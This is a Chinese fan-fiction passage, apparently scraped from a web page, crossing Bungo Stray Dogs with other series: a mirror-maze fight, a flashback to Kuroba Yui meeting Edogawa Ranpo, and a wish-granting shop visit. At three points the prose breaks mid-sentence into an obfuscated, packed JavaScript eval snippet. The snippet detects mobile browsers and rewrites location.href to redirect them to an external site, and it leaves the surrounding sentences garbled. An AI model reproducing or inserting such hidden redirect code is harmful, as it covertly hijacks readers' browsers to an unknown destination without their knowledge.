再次走过一个转角,本来寂静无声的走廊前方突然多了凌乱的脚步声,黑羽结衣将少年护在身后,警惕地掏出了枪,盯着那里。 ——直到拐角处显露出那人的身影。 “兰堂哥?!” 她挑了挑眉,按在保险上的手松开了。 “结衣,乱步,没想到能在这里遇上,看来迷宫的路线是互通的。” 青年上下扫视了他们几眼,发现没有任何伤痕,露出安心的神色, “你们没事就好,我一直没找到中也他们,你们在之前有遇到其他人吗?” 两人同时摇了摇头。 “这样啊……” 兰堂垂下眼,睫毛投下淡淡的阴影, “得赶快找到核心才行。如果迷宫的核心不解除,困在里面越久,出现意外的概率就越大。” 他抬起头,脚步向他们这边又迈了一步。 “稍等一下,可以吗?兰堂哥。” 察觉到身后的少年轻轻拉了一下她的衣角,黑羽结衣伸出手掌,掌心向外,明确地示意对方停在原地, “你还记得太宰之前建议我们的事吗?” “啊,你指的是那个。昨天的晚饭对吧?” 兰堂沉稳地点点头,神情没有任何异样, “我昨天没什么胃口,随便应付了一下,吃的是普通的面包。” “不是啦不是啦,我是说我,兰堂哥是家里最关心我身体的人,你记得我昨天晚上吃的是什么吧?” “……” 兰堂的表情凝固了零点几秒,随即恢复如常, “我们昨晚不在一起吧?不过昨天晚上应该是和平时差不多的晚饭?我记得你不太挑食,给什么吃什么。” “bingo~” 虽然语气是愉快的,脸上也是带着笑意,但下一秒,黑羽结衣就用这种语气说出了相反的话, “真遗憾,答错了。如果知道我昨天吃了什么,你只会严厉的批评我,何况,你最近根本没有回去,也没有心思关心我们,” “所以——” 她说, “兰堂哥怎么会知道我的晚饭呢?” 被戳穿的瞬间,“兰堂”的表情变了。 那张熟悉的脸上所有的表情如同褪色的油彩,瞬间剥落。取而代之的,是一片虚无般的漠然。 它伸出手。 暗红色的亚空间方块开始从它掌心浮现—— 但比那更快的,是一根银色铁棍。 “噗嗤——” 金属刺穿身体的声音,在寂静的镜面空间里显得格外清晰。 那根不知从何处出现的银色铁棍,精准地贯穿了“兰堂”的心口。 “开玩笑的~你说什么我都不会信,我只是在拖延时间,” 在那逐渐散落的镜子碎片中,倒映的是黑羽结衣狡黠的笑容, “抱歉了‘兰堂哥’,比起你的话,我更相信乱步的判断,所以只好抢了先手——你不会怪我的吧?” 直到它彻底消散成一堆玻璃碎屑,江户川乱步才从她身后探出头: “他是从那个方向过来的,我们继续走,应该离核心不远了,不然也不会这么突兀地出现这种精准复制的形象,它应该是用来拦截我们的。” 像是某种“结束的号角”被吹响,又像是这片镜面迷宫终于意识到无法阻止那两个人的前进,接下来的路程变得异常顺畅——没有岔路,没有陷阱,没有更多的“复制品”阻拦。 ……也有可能,其他的复制品在阻碍其他人的脚步。 走了没多久,他们终于抵达了所谓的“终点”,与迷宫完全相反的,那里是一片双向镜面的空间,从他们的角度看过去,里面的镜子都在反射着同一个焦点—— 那摆在最中心的玻璃展柜中,一副悬浮的扑克牌。 “要打碎吗?” 江户川乱步询问她的意见。 黑羽结衣观察了几秒,感觉里面确实是空荡的空间而非什么形成的折射体,摇摇头: “我想不需要那么复杂,我的异能就好。” “当然,” 江户川乱步说, “那接下来,就交给结衣你了!” 坐标确定,黑羽结衣轻而易举地进入了那间空无一人的“展览间”。 在那中心被透明的盖子笼罩着的,是一副静静悬在空中的扑克牌。 黑羽结衣四处看了看,没有发现其他机关,手按在那透明的罩子上,那阻碍便尽数消失,她伸手拿下那副扑克牌,在那瞬间,整个镜子迷宫开始崩解。 解除异常区的关键只是拿走这里的核心吗? 她低头,摩挲着手中的扑克牌。 那是一副明显被多次使用过的旧牌,边角微微泛黄,甚至有了一点毛边。牌面是标准的图案,但厚度似乎比市面上常见的扑克牌要更厚一些。 分明应该是其他人使用过的东西,但不知为何拿到手里,黑羽结衣却有了相似的安心感。 “这样就好了吧。” 她低声自言自语。 镜子在崩坏,但这次,碎片没有复原。 它们化作无数细碎的光点,如同萤火般飞舞,最终汇聚成一个光团,缓缓落入了黑羽结衣口袋里那枚银质怀表之中。 “咔哒。” 秒针,向前跳动了一格。 “哦哦哦!” 江户川乱步的欢呼声从远处传来。在崩解的镜面碎片中,少年踩着那些逐渐化为虚无的玻璃,跌跌撞撞地跑了过来,翠绿的眼眸亮得惊人,脸上满是纯粹的兴奋。 黑羽结衣抬起头,望向他的方向。 镜面迷宫正在彻底瓦解,那些曾经将他们困住的倒影都在这一刻化为虚无。真实的马戏团内部结构正在显现——腐朽的木头横梁,落满灰尘的地面,生锈的铁架,以及远处隐约可见的其他几个人影。 但在这一刻,黑羽结衣的目光落在江户川乱步身上,脑海中却不由自主地回响起了太宰治之前在病房里问过她的那个问题。 “乱步君为什么会坚持一直跟在你身边的理由,你找到了吗?” 大概是太多次惦记着这个问题的答案,黑羽结衣猛然回想起来,少女和江户川乱步相遇的原点。 ——那是,她主动邀请对方协助她调查一件事实。 无法向自己的家人诉说的,——…………! 黑羽结衣想不起她要委托对方的内容是什么了。 但相遇的那一天,她记得很清楚。 横滨是沿海城市,在气候暖和的时候下雨的日子总是绵密又漫长,但是在他们相遇的那一天是个好天气。 傍晚的天空被染成温柔的橘红色,海风带着淡淡的咸味,中和了空气中的香甜气息,点心店门口的风铃发出清脆的响声,像是在为一天营业的结束奏响尾声。 那时的黑羽结衣正站在点心店门口,等着拿那份心照不宣的“今日份剩下的点心”。 这是她和店长大叔之间的默契。她为这家店提供庇护,让那些想打秋风的小混混不敢靠近,而作为回报,店长会在每天营业结束时,把卖不完的点心留给她。 就在她接过那个熟悉的纸袋准备转身离开的时候,余光瞥见了不远处的一个人影。 那是个看起来和她差不多年纪的少年。 他站在点心店斜对面的电线杆旁边,没有完全站在柜台前,而是用一双翠绿的眼睛,带着毫不掩饰的好奇和期待,向这边望着。 黑色的头发柔顺地垂着,发梢微微翘起,露出一点尖尖的轮廓。碧绿色的眼眸圆溜溜地睁大,在夕阳的余晖中,像两颗浸在蜜糖里的宝石。 ……怪可爱的。 黑羽结衣不知为何,对初次见面的少年抱着超乎寻常的好感度。那种好感来得毫无理由,却又无比自然,仿佛他们本就该相识。 店长大叔顺着她的目光看了一眼,然后弯起眼,压低声音说: “正好,我要下班了。今天比预料中剩的还要多,这些你就都拿去吧。” 他不动声色地朝那个方向努努嘴, “那个孩子站在那里已经有一段时间了。也不过来买东西,就那么站着,也不知道遇到了什么……” 黑羽结衣低头看了看自己手中沉甸甸的纸袋,又看了看那个少年。 “我知道了。我来处理吧。” 向准备歇业关门的店长点头告辞之后,黑羽结衣向那个少年走过去。 她刚站定,还没来得及想好怎么开头,少年已经异常熟稔地开口了: “是要请我吃点心吗!” “啊?!” 黑羽结衣低头看了眼自己手中的袋子,一时不知该如何对这种一见面就很熟的行为做出反应, “也不是不行……但是,你为什么不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197516|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接和店长大叔说呢?” “我的双亲之前说过,向在售卖的店铺店主直接索要,是不礼貌的行为。” 少年一本正经地回答, “但是,既然店长把点心送给你了,那你就可以免费送给我吧!对吧对吧?” 黑羽结衣懵了几秒,才勉强理清他这跳跃性的脑回路。 还没等她说什么,少年已经连珠炮一般地继续说了下去: “我其实最开始是打算等店长营业结束的时候提这件事的!” 他用手比划着, “但是那位大叔明显是打算留下那些点心,看起来也不像是要给自己留着当晚饭,所以我猜,只能是给到时候会过来的其他人!” “那……” “那我就可以直截了当地再索要啦!” 他迅速得出了结论,翠绿的眼眸闪闪发光, “并且,今天你和你弟弟也吃不完!到了明天,点心就不好吃了!美味的点心当然需要当天出炉的才好!” 刚刚表情还稍显柔和的少女顿时变了脸色,神色锐利,手已经放在了武器上: “你是怎么知道的?” 但反倒是说出这件事的江户川乱步比较惊讶。 “这难道不是一眼就能看出来的事吗?” 他眨了眨眼,脸上露出真切的困惑, “好奇怪啊,你们怎么都这样子,那些大人们也是,明明我说的就是事实,他们偏偏要说我说谎,露出厌弃的神情就要把我送走,还是说因为我是笨小孩,所以没办法理解你们?” 黑羽结衣静静地凝视着他。 一秒,两秒,三秒。 晚风从两人之间穿过,带来远处海港的汽笛声。 过了十几秒后,像是被声音突然惊醒一般,黑羽结衣深吸一口气,从纸袋里掏出几个点心,朝少年丢了过去。 “送你了。” 她的语气硬邦邦的, “吃过之后,赶快走吧。” 少年手忙脚乱地接住那几个点心,脸上立刻绽放出灿烂的笑容。 “谢谢啦!” 他毫不客气地当场拆开一个,咬了一大口,含糊不清地说, “不过——点心吃得太干了!再有一瓶波子汽水或者红豆汤什么的就更好了——!” 黑羽结衣转身要走的动作一顿。 她有些震惊地回望了回去。 少年对上她的目光,完全没有适可而止的概念,继续絮絮叨叨地说着: “还有啊,还有啊!我说的不都是甜的东西吗?但是甜的吃多了会腻,所以还要补充一点清爽的东西!” 他掰着手指数, “比如波子汽水!最好是弹珠是蓝绿色的那种!还有——” “……” 黑羽结衣无言地听着他滔滔不绝地讲了这么多,有些怀疑这是不是专门碰瓷的新套路。 “呐呐!” 少年翠绿的眼眸睁得滚圆,就那样期待地望着她, “你会给我买的吧?!” “不可能。” 黑羽结衣斩钉截铁地回答, “绝对不可能。” “为什么?!” 少年的声音立刻高了八度,脸上写满了被背叛的震惊, “好过分——!” “过分的究竟是谁啊!” 黑羽结衣被倒打一耙,有些不爽地回嘴, “你的父母就没有教过你,‘不能随便向其他人索要物品’这一点,是包含了普通人的范围的吗?” 少年突然安静了。 “我不知道。” 他垂下眼, “我的爸爸妈妈,已经去世很久了。” 黑羽结衣愣住了。 “抱歉,我不知道……” 她希望这个世界可以时光倒流,把那句没过脑子的话收回去。但显然不能。 这样的情况在横滨倒也不少见,在横滨,无家可归的孩子到处都是,尤其这里还紧挨着擂钵街。但刚开始看着少年衣服还算整洁的样子,她并没有往这方面想过。 “那个,作为赔礼……” 她咬了咬牙,忍着心痛, “我请你喝汽水,可以吗?” “好啊!我喜欢波子汽水!有玻璃弹珠的那种!” 在那凉爽的晚风中,少年心满意足的喝到了想要的汽水,同时指挥着心怀愧疚的黑羽结衣用空间异能将里面的玻璃珠取了出来,对着夕阳的余晖欣赏了半天。 “好累啊今天。” 他心满意足地把玻璃珠塞进口袋,然后转过头,用一种理所当然的语气说, “接下来就只有一件事了——你把我送回警察学校吧。” 黑羽结衣: “……” 16.记忆 本身属于不良地头蛇的少女: ……哈? 这么一看,对方身上的衣服确实很像某种制式服装。 “你竟然是警校生?” 但她还是不由自主地反问了一句。 “对哦。他们去世以后,亲戚们就不怎么爱管我了,最后还是父母的熟人说要把我送去警察学校,但是那边的人也不喜欢我,不过我现在也不知道该去哪里了,所以还是按照父母的期待去那边吧?” “但是……” 她沉默了片刻,还是说道, “这个方向,和警察学校完全相反啊?” “欸——” 他发出来很不走心的惊呼, “我不熟悉这边的路,大概是走错了吧。” 这句话绝对是谎言吧!哪有人能从最相反的方向迷路过来的! 但面前的少年一副“你不把我送回去,我就不走”的架势看着她,黑羽结衣看了看天色尚且还亮,想着要不要先把点心放回去,又看看少年单薄的身形,最后还是认命般叹了口气,肩负起把“迷路”的笨蛋送过去的责任: “走吧,你应该不介意我们用点特殊的手段加快脚步吧?” 也没等对方同意或者反对,少女直接揪着他的衣领,动用了自己的异能,转瞬间他们就从原地消失了。 大概有十几分钟后,他们总算抵达了横滨相反的警察学院外围。 “那就在这告别了?” “啊,其实我——” 黑羽结衣刚听到开头立刻一个瞬闪消失在原地。只留下少年还站在原地,嘴巴张大,一副不可置信的模样。 果然摆脱麻烦的最好的办法就是直接放弃。就像你知道游戏里顶着感叹号的人,可能会带着你走一段非常长的支线,这时候不去附近触发就可以逃避这段不知是好是坏的任务了。 不过,偶尔会因为这种事情耽误主线任务的进度,或者突然在某个时候撞进眼中。 一周后。 同样的时间,同样的地点,相同的人,同样的配置。 黑羽结衣沉默着看向那个自称是警校生的少年。 而对方在看到她的那一瞬眼睛顿时亮了起来,小小惊呼了一声就朝她招手: “这边,这边——!” ……现在装作看不见还来得及吗。 黑羽结衣扭扭捏捏,磨磨蹭蹭地走了过去,终于在对方期待的眼神中站到了他面前: “怎么,今天又是从学校出来迷路了?” “我被开除了。” 前一个晴天霹雳的消息还没有消化完毕,少年已经熟练地转了话题, “我现在没有地方可以去了。” “你看上去也没有那么恶劣吧?发生了什么?” “我也不知道啊。我只是把那个大叔做过的事全部说出来,但他脸色立刻就变了,然后恶狠狠的对我说‘滚’,还说我是个撒谎精什么的,其他的大人也似乎这么觉得,于是我就被赶出来了。” 黑羽结衣有些疑惑的歪歪头。 虽然相处并不太久,但她觉得对方也只是个稍微有点烦也没什么常识的少年而已。但如果被其他人都这么指摘,也一定是发生了什么他不清楚的细节。 “所以他到底做了什么?” 这下少年就开始滔滔不绝的讲述了。越听少女的表情越皱起来,等他最后讲完开始抱怨“嘴好干”,黑羽结衣的脸已经完全皱了起来,看他的眼神也越来越怪。 “……你为什么知道那家伙贪污的事啊?” “嗯?” 他发出疑惑的鼻音, “那不是一眼就能看出来的事吗?” 一眼就能看出来……? 这么想,似乎最开始见面的时候,也是他一语道破自己有个弟弟这种事,分明是没几个人知道的秘密。 她还没来得及再深思,对方已经熟练地转移了话题: “一口气说了这么多我的嘴巴感觉好干啊——” 理所当然地口吻。 期待的碧绿色的眼瞳。 从帽子下露出的有些凌乱的黑色短发。 还有亮晶晶的视线和笑容。 黑羽结衣按着太阳穴,转身: “走吧。” 身后传来一声欢呼,随后那凌乱的脚步声就快速跟了上来,带着本人的隐藏不住的雀跃: “我就知道你不会放着我不管啦!” “这也是一眼就能看出来的事吗?” “当然了!” 他像是一只打了胜仗的孔雀一般,得意洋洋地炫耀着自己的发现, “你是喜欢我的对吧!” 黑羽结衣: ……缓缓打出几个问号。 “我这回知道你不受人喜欢的原因了。” “那种事无所谓啦。” 已经坐在定食屋的少年噼里啪啦点了一堆甜点,在那空隙中说着, “他们不喜欢我,和他们在一起交流太累了!我只会和喜欢我的人一起玩,比如说你!” 太直白了。 “我再纠正一点,那不是喜欢,只是——” “只是什么?” “只是……” 她顿了顿,发现自己竟然找不到一个合适的词。 “反正不是那种喜欢。” 少女生硬地结束了这个话题。 少年也不追问,继续埋头大吃,只是那嘴角分明勾起了一个小小的,得意的弧度。 “……你接下来打算怎么办?” 少年抬起头,理所当然地回答: “跟着你啊。” “哈?” “因为你喜——” “好了好了,我们不要在这个问题上来回打转了,” 黑羽结衣的太阳穴都开始疯狂跳动, “把你从那里赶出去的主谋的名字是什么?” 少年的眼睛亮了。 在黑羽结衣拎着他的衣领再次向那边用异能赶路的过程中,他一直叽叽喳喳说个不停——路边的野猫朝他哈气、今天天上云的形状好奇怪、刚刚路过的下面究竟是哪个地方、刚刚吃太多了肚子有点不太舒服…… 黑羽结衣一路沉默地听着,直到听到了最后一个问题才出声: “高空的风很冷又很大,少张口。” 他委委屈屈地“哦”了一声,果真安静了下来。 他们第二次来到学院门口。 大概是猜到了她接下来要做什么,少年的眼睛里满是抑制不住的兴奋: “我们要去找那个大人吗?” “嗯。” 运用自己的异能直接进入了学院,少女面色平淡, “如果你说的都是真的,那我们就是正义的一方,相关证据我也会帮你找的。反正他们不认识我,也不熟悉你,就算大闹一场也没关系。” “……对了,你的名字是?” 她终于想起这个关键问题,脚步停顿了片刻。 “我是江户川乱步!直接叫我乱步就好了!啊,这么说起来,我还不知道你的名字呢!” 少女不答反问: “那么就出发吧,你知道广播室在哪吗?” 黑羽结衣从记忆中惊醒。 她眨了眨眼,视线逐渐聚焦。 然后,与记忆中那个少年的面孔撞了个正着。 那是以前一样闪闪发光,毫无防备,完全信任的眼睛。 江户川乱步看着她的表情,笑了起来,像是得到了最想要的点心: “是想起来关于我的事了吗?” 她点点头。下一秒就收获了一个用力的拥抱,还有对方得意洋洋的炫耀: “我就知道结衣最喜欢我啦!” 黑羽结衣愣了一瞬,随即忍不住失笑。 和以前一模一样。 这个样子,简直就像个笨蛋嘛。 她伸手,轻轻拍了拍他的背。 “所以呢?” 江户川乱步松开她,退后半步,翠绿的眼眸亮晶晶地盯着她, “全部想起来了吗?关于我的事,全部?” 黑羽结衣摇了摇头。 “没有。” 她诚实地说, “只是想起和你一起去找舍监的那件事了。之后的事……还是模糊的。” “啊啊,那次啊——” 江户川乱步拖长了语调,脸上露出回忆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232731|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色, “结衣带着我,用你的异能直接潜入了学院,然后把那个大叔贪污的证据全部用广播外放出去了对吧?整个学院都听到了,那场面可精彩了!那个大叔的脸色,哎呀,简直像是被雷劈了一样,之后——” 他突然停顿了,就像是想掩盖什么事实一般,飞快地说了最后的结局, “之后就是结衣好心带我回去的事了,当时你还说,作为相应的代价,你需要我帮忙去调查——” “喂——!你们两个都没事吧——!” 是身上闪烁着红光第一时间冲过来的中原中也。少年关心的话连珠炮一样迸发,他们的对话就这样瞬间戛然而止。 回去的路上。 “终于搞定这件事了,对了,结衣你想起来的是关于什么的事?” 中原中也问道。 “啊,这个……” 黑羽结衣还没有回话,旁边的江户川乱步已经急忙举起了手: “是关于我的事情哦!” “这样啊。” 少年钴蓝色的眼眸里似乎有那么一瞬,掠过一丝极淡的低落。但很快,他就露出了笑容, “不错嘛,这个进度。一点点想起来,总有一天会全部记起来的。今天晚上一起去吃点什么大餐,庆祝一下吧。我请客。” “小矮子定义的大餐,不会就是牛排吧?然后自己再心满意足地开瓶红酒?” “喂,青花鱼,你是不是故意在找揍!?” “中也这种肌肉发达的人,根本不懂我们文职动脑的痛苦,对了,兰堂先生——” 太宰治转向走在旁边的兰堂。 “您在迷宫里有遇到镜子中的幻影吗?” “嗯?” 走在太宰治旁边的青年像是在出神,随后听到自己的名字才恍然醒了过来, “我遇到了乱步和结衣。” 想到这件事,他微微眯起了眼睛,带着团体内唯一大家长的压迫感: “如果我没猜错的话,他们的晚饭一个是薯片和汽水,另一个只是咖啡吧?” 江户川乱步心虚地移开了视线。 这个话题深入下去没有人能平安无事,于是太宰治毫不犹豫地出卖了另一位: “猜的大差不差,不过首领小姐那边是三倍浓缩咖啡哦~她绝对昨晚还熬了个大夜!” 兰堂的眉头皱了起来。 看着远远缀在最后一直在陷入自己思绪,完全没有注意前面几个人互动的少女,太宰治眼眸深沉了一瞬: “果然小矮子也是要吃吃生活的苦呢,不然——今天的晚饭和昨天小姐吃的一样,怎么样?” “喂,你这混蛋,那不是健康的生活方式吧?!兰堂哥你也评评理!” “我觉得始作俑者的问题更大一些。” 兰堂的目光落在太宰治身上,语调带着无形的压力, “不过,对你们这些孩子来说,现在正是需要好好补充营养的时期。晚餐应该——” 念经一般的说道让走在前面的三个人都即将戴上痛苦面具,太宰治忽然瞥见了离他们最远的那位少女,嘴角勾起不怀好意的笑容,远远的将双手拢在嘴边,用足了声音大喊: “首领小姐——!小矮子说——晚饭要和昨晚你吃的一模一样——!” 黑羽结衣猛地回过神来。 她眨了眨眼,有些茫然地抬起头,看向前方突然全部停住望向她的几个人。 晚饭……是吧?这有什么可争执的吗? “好啊,也可以。” 她不在乎地回答。然后她发现,所有人的目光都变了。 ……她有说错什么吗? 就连江户川乱步也不可置信地看向了她,少年睁大了眼,整个人仿佛一只突然炸毛的猫。 明明是海边,此刻的海风却好像突兀地停息了。在这万籁俱寂的瞬间,有一个人有了动作。 “小姐。” 太宰治开口了。他嘴角的笑意有些捉摸不定,那本就如干涸血迹一般的眼眸,在背光时更显得像是要吞噬人心的黑洞,少年问, “以防万一,我想再确认最后一个问题——” “你昨天晚上的晚饭,是什么?” 17.扑克牌 “家庭教师,家庭教师……” 黑羽结衣念叨着,独自走在偏僻的街道上。她刻意避开了主干道,专挑那些人少的小巷穿行。 她是偷溜出来散心的。 几天前,她遭遇了目前为止记忆中的人生最绝望的一次痛苦。 ——与谢野晶子的治疗。 是的,在进入镜子迷宫的最初,她还清楚地记着太宰治提议的那个“暗号”,那本该是再简单不过的事情,却在从异常区脱出后,彻底从脑海中消失了。 说是应激创伤怎么看也不像,倒不如说后来那把电锯才真正造成了某种心理阴影。以至于黑羽结衣下意识地遗忘了治疗过程中发生的所有具体细节,只记得那电锯启动时的恐怖嗡鸣了。 但即使是这样的治疗,也没能让人想起什么新的记忆。 本来就雪上加霜的内存再度少了一小部分内容,太宰治嘲讽她“大脑的容量是有限的嘛,小姐,记住这个,就要删除一部分,忘掉那个,就像小蛞蝓一样”,在某一瞬间她甚至相信了这个说辞,接下来就是赭发少年加入,大家长试图劝架的更混乱的争吵…… 黑羽结衣晃晃脑袋,试图清除这段混乱的记忆。 果然还是太闲了,得给他们找个班上,不是,找个学上…… 之前也想过这个问题,但现在记忆回来之后她才发现自己身边这群人,教育程度简直惨不忍睹。他们里面最聪明的江户川乱步和太宰治都是失学儿童,更不要提中原中也和与谢野晶子了。 有的时候,社会还是比较注重教育程度,总不能首领都是个自学的半文盲,带着一群同样没受过正经教育的同伴招摇过市吧…… 以及,上次从异常区拿到的那副扑克牌…… 她下意识地摸了摸大衣内侧口袋里的那副牌。那副牌带给她的那种奇异的安心感,至今仍让她在意。仿佛那不是从异常区得到的战利品,而是某个曾经属于她的东西。 这让她心绪有些混乱。 这样想着,黑羽结衣又向人更少的街道走去,以免万一自己偷跑出来被人发现。 不过,家庭教师到底从哪可以找来合适的…… “嗯?” 黑羽结衣突然愣住了。 也不怪她如此惊讶,正常人发现自己莫名其妙就已经站在了一间庭院门口,拾步就要进入的时候都会这么惊讶。她向四周打量了一眼,发现两边是低矮的楼房,而就在他们中间的夹缝里,多出这么一栋看着风格迥异异常精致的日式庭院,仿佛是从另一个世界硬生生挤进来的。 她眨了眨眼,确认不是幻觉。 “……异常区?” 黑羽结衣皱着眉,站在门口一时间不知道该做什么打算。若单论外表,这里看起来和之前遇到的几个异常区完全不同,但她在失忆后经历的样本数太少,也没办法完全下决断。按了按胸口挂着的怀表,她定了定神,向庭院内走去。 门没有锁。玄关处的光线有些昏暗,里面安静地像空无一人,黑羽结衣的警惕心拉到最大,突然听到有啪嗒啪嗒的脚步声从走廊拐角处传来,紧接着,两个小女孩的头从那里露出来。 “欢迎光临。” “欢迎光临。” 两道声音同时发出。 “抱歉,” 她决定先发制人, “我不知道为什么就突然走到这边来了,如果打扰到你们,非常抱歉。” 虽然没察觉到危险,但宅邸内部始终萦绕着一种微妙的氛围,这让她感到有些不安,见她们没有阻拦的意图,黑羽结衣转过身就要离开: “是我冒昧闯入了,我这就离开。” “那是因为,这是必然啊。” 身后突然传来一道男声。黑羽结衣回过头,刚刚小女孩站着的地方此刻站着一位黑色短发,穿着华丽和服的少年。 虽说相貌是少年,但那装扮以及手中夹着的烟管,又奇妙的为那张面庞增加了些许神秘的色彩。他不知道是什么时候过来的。 “……必然?” “这个世上没有什么偶然,有的只是必然。” 在他迈步向前的时候,两个小女孩也躲在他的身后,好奇地朝她张望着, “这里是能实现一切愿望的店。你能进来就证明你有愿望需要实现。” 少年笑了起来,那笑容有些说不清道不明的,带着一丝绝不应该对第一次见面的人露出的怀念。 “先请进吧,稍等片刻,我去泡茶。” 不管是对方的装扮还是话语,甚至是这几个人身上都透露着一股违和感,黑羽结衣打量着四周,坐进他们的会客室,问道: “这里是异常区吗?” “异常区?这里不是那样的情况。不过如果单论非一般的异常区域,这么说倒也没错。” 少年将她请入座位,转身泡一壶茶,两个小女孩子很快将点心用餐车推了过去,准备完毕后,大概是店主的少年亲手为她添上一杯, “请用。” 看到她仍向那两个小女孩的方向打量着,店主解释道: “她们是小全和小多,没有离开过店里,很少见到其他人,所以对你有些好奇。安心,她们不是坏孩子。” “说回正题吧,一般人确实没有办法进来这里。只有有很强烈的愿望的人才能进来。黑羽小姐最近有什么非常想要改变或者得到的事情吗?” 黑羽结衣自进来之后就发现自己的异能,虽然不是完全无法使用,但感知非常模糊,于是暂时装作相信他的话的样子,但她在脑海里思索了很久,最后只能搜肠刮肚出目前唯一的需求: “……真要说的话,我想请一位家庭教师。” “家庭教师?那大概是有什么不一般的理由吧?” “对,因为我……我的朋友们性格各有各的奇怪,并且我们的环境也有些令一般的家庭教师避之不及。但我还是希望能找到一位有利于我朋友们身心健康的私教。如果说最近有什么很想要实现的愿望,那应该只有这个了。” “这样啊,刚好,我这里有一位推荐的人选。” 他说, “虽然之前对方只教过一位学生,但那位学生的成绩很耀眼。他也欠了这里一个人情。我想,对方应该很适合黑羽小姐现在的情况。” “欸?但我那边的情况真的很特殊……” 作为店长的少年甚至没有去问有什么特殊的地方,只是简单地下了决断: “没关系,他非常适合你的情况,这我可以保证。” “那——” 看着少女亮起来的眼神,这间宅邸的主人不紧不慢地开口: “但,付出与收获等价。黑羽小姐,想要收获得心意的家庭教师,你要付出什么样的代价呢?” “我可以支取金钱……” “对小姐来说,金钱的重量与那份对家庭教师的寻找是等价的吗?” 黑羽结衣突然就明白了他的意思。 “你说的等价交换,也就是对我来说相当价值的交换吗——但我好像没有带足够用于交换的东西。” 对她来说,自己的朋友也几乎等同于家人,而与对家人的那份担忧等值的…… 对面的人依旧整好以暇地端视着她。 少女身上除了武器外,带着的只有怀表和那副从异常区拿到的扑克牌。沉思了片刻,她将那副牌放在桌子上,推了过去: “这个……可以吗?” 神秘的店主低头看向那副牌。 纸牌边缘微微泛黄,带着被多次使用过的痕迹,但保存得极好。在柔和的光线中,那纸牌仿佛散发着一层几乎难以察觉的微光。 “可以。” 那华丽的和服袖子拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244104|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡片, “他人的珍视心意,作为对如今友人的珍视,代价对等,交易成立。” “我会和那位老师打好招呼。” 少年将那副牌收入袖中,抬起头,恢复了之前那副从容的模样, “大概他出发还需要一段时间。半个月以内,他肯定会找上门来的。” 黑羽结衣点点头,她对对方的说辞半信半疑,但扑克牌对现在的她来说并非不可舍弃之物,只是听对方的说法也是他人曾经珍视过的宝物。 在她打算告辞的时候,少年却喊住了她, “要留下吃午饭吗?” “不用了,谢谢。” 走到门口时,她想起什么似的,回头问道: “下次,我还能进来吗?” 起码售后要保障的吧? “如果你有想要强烈的实现的愿望的话,这里一直为你打开。” 她没有回头,因此没有看到少年站在原地,目送着她的背影,目光复杂。 放置在桌上的茶水热气渐渐褪去,在少女的身影消失在门口之后,一个圆头圆脑的生物嗖地一下出现在桌面上,一口将里面的茶水喝干。又将茶壶里的茶水也全部倒进嘴里。 “摩可拿……算了,我今天有点想吃火锅了,你呢?” “哦哦!吃!我也要!” 摩可拿兴奋地在桌上打了个滚, “四月一日你这小子,我还要喝酒!” “嗯,我也想喝了。干脆打电话给百目鬼那家伙,让他直接买食材再过来吧。反正他闲着也是闲着。” 黑羽结衣走出那个院子,她倒也没有完全信对方的说辞,只是对目前的她来说,那副扑克牌作为代价并不是什么需要犹豫的事。她在意的是另一点——自己对友人的担心和重视,为什么能与那副扑克牌携带的情绪等值? 算了。 她摇摇头。这不是在以对方不是骗子为前提而进行思考吗? 黑羽结衣放弃思考那个源头难题,继续往回走。但不知为何,在经过一家看起来有些年头的杂货铺时,她不由自主地停下了脚步。 店铺的橱窗里摆着各种杂货——文具、玩具、日用品。她的目光落在外面展示柜中的扑克牌,随后鬼使神差地推开了店门。 “欢迎光临——” “请问,” 黑羽结衣走到柜台前,比划着, “有没有那种……比较厚的扑克牌?大概比普通的要厚一些,不过花纹样式好像都没有什么区别。” “厚的扑克牌?” 店长皱起眉,和旁边的店员交换了一个眼神, “客人说的是那种特制的吧?我们这没有……” “是这样的吗?” 她不清楚情况,也犹豫了起来。 “您想要的,是专用于魔术的扑克牌吧?” 旁边突然有人插话。大概是在旁边听了很久的顾客,有些不好意思地打断了他们鸡同鸭讲的对话, “魔术师用的扑克牌,为了手法操作方便,通常会比普通扑克牌厚一些,纸质也更特殊。您描述的厚度和感觉,听起来就像那种。” “魔术用的……” 店长拍了拍头,恍然大悟: “哦,有些小孩子以前会买那种,不过自从马戏团啊魔术表演啊之类的前几年远离了横滨,这些年也没什么人买了。如果客人不介意的话,稍等我去库房里找找看,应该还有库存。” 按照这个关键词,店长从仓库里翻出了一盒积灰的库存。她拆开一看,确实是比普通扑克牌厚一些的款式,虽然不是同一副,不过手感很像。 